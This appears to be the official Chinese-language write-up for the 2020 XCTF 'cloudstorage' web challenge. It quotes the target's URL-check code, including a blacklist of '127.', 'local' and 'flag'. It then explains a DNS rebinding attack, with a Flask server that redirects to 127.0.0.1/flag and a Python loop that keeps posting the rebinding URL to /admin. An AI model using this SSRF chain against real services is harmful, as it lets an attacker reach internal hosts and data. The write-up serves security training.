# cloudstorage

*发表于 2021-05-21 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 鲲鹏计算专场， Web*
*Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 鲲鹏计算专场 | Web | cloudstorage*

*点击此处获得更好的阅读体验*

---

## *WriteUp来源*

*官方WP*

## *题目描述*

## *题目考点*

## *解题思路*

*这个题需要根据题□暴露给选□的ip和端□来做题 □如我现在题□ip是101.x.x.x 端□是12311*

*上传□件则返回下载地址 访问则可以下载*

*根据源码，有一个/admin的路由，能看到我们上传过的所有的文件*

*可以点击，点击则调用doPost函数post给/admin*

*点击之后，则可以在页面显示出这个文件的源码*

*其实这只是一个request去访问 然后打印出访问的结果罢了*

*这里用了check()对传过去的url进行了检测，看下这个check函数的源码 是不能被绕过的*

```
const checkip = 1 function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');

    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ipapi.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false
    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;
    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false
    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false
    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if(ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}
```

本题考点在于DNS Rebinding，注意到这：

check() -> sleep 5 -> request.get

在check()内 如果是域名会进行dns解析： dns = dnslookup(host) 这个解析调用了公网上ip-api.com的dns解析api

然后request.get时访问域名时，自己会先解析dns一次，并且这中间有5秒延迟

所以我们可以利用这个时间差做重绑，首先吧dns解析到题目是101.x.x.x的地址则可以过check() 然后5秒后 题目去访问这个url 再解析一次， 这时候dns服务器讲A记录改为别的地址 则可以访问到别的地址

题目是需要访问/flag来获得flag

node监听了80端口，这意味着我们并不能dns Rebinding访问，因为地址问题解决了可是端口问题还是过不去：

所以我们需要dns rebinding让request.get()去访问我们的vps 然后vps上做重定向 request会跟随这个重定向，重定向到

127.0.0.1/flag即可

在自己服务器上起一个web服务，访问则通过header重定向到http://127.0.0.1/flag

```
from flask import Flask
app = Flask(__name__)
@app.route('/', methods=["GET","POST"])
def bb():
    return "login fail", 301, [("Location", "http://127.0.0.1/flag")]
app.run("0.0.0.0", port=40001)
```

关于dns rebinding有很多现成的平台，也可以自己搭建，推荐使用https://requestrepo.com/ 使用很简单且完全免费

我的服务器是47.x.x.x 现在我准备了一个域名，并且让他随机解析成题目的101.x.x.x或者我自己的47.x.x.x

然后提交 http://dns-rebinding-domin.com:40001 到/admin路由（因为我起的用来重定向的web服务是40001端口的） 因为dns解析存在缓存、延迟等问题，可能需要多提交几次才可以成功，写脚本循环

```
import requests as req
s = req.session()
url = "http://101.x.x.x:12311/admin"
data = {
    "fileurl" : "http://dns.rebinding.com:40001/"
}
while True:
    print(s.post(url=url, data=data).text)
```

如果dns直接返回的是vps的地址则过不去check 回显是invalid。如果全部解析到题目的地址，题目因为没有40001端口那么会返回超时的错误信息。一旦成功，则可以拿到flag

# Flag

```
1
```



# Challenge # 2020 # Web # XCTF高校网络安全专题挑战赛 # 鲲鹏计算专场


babyphp
mpi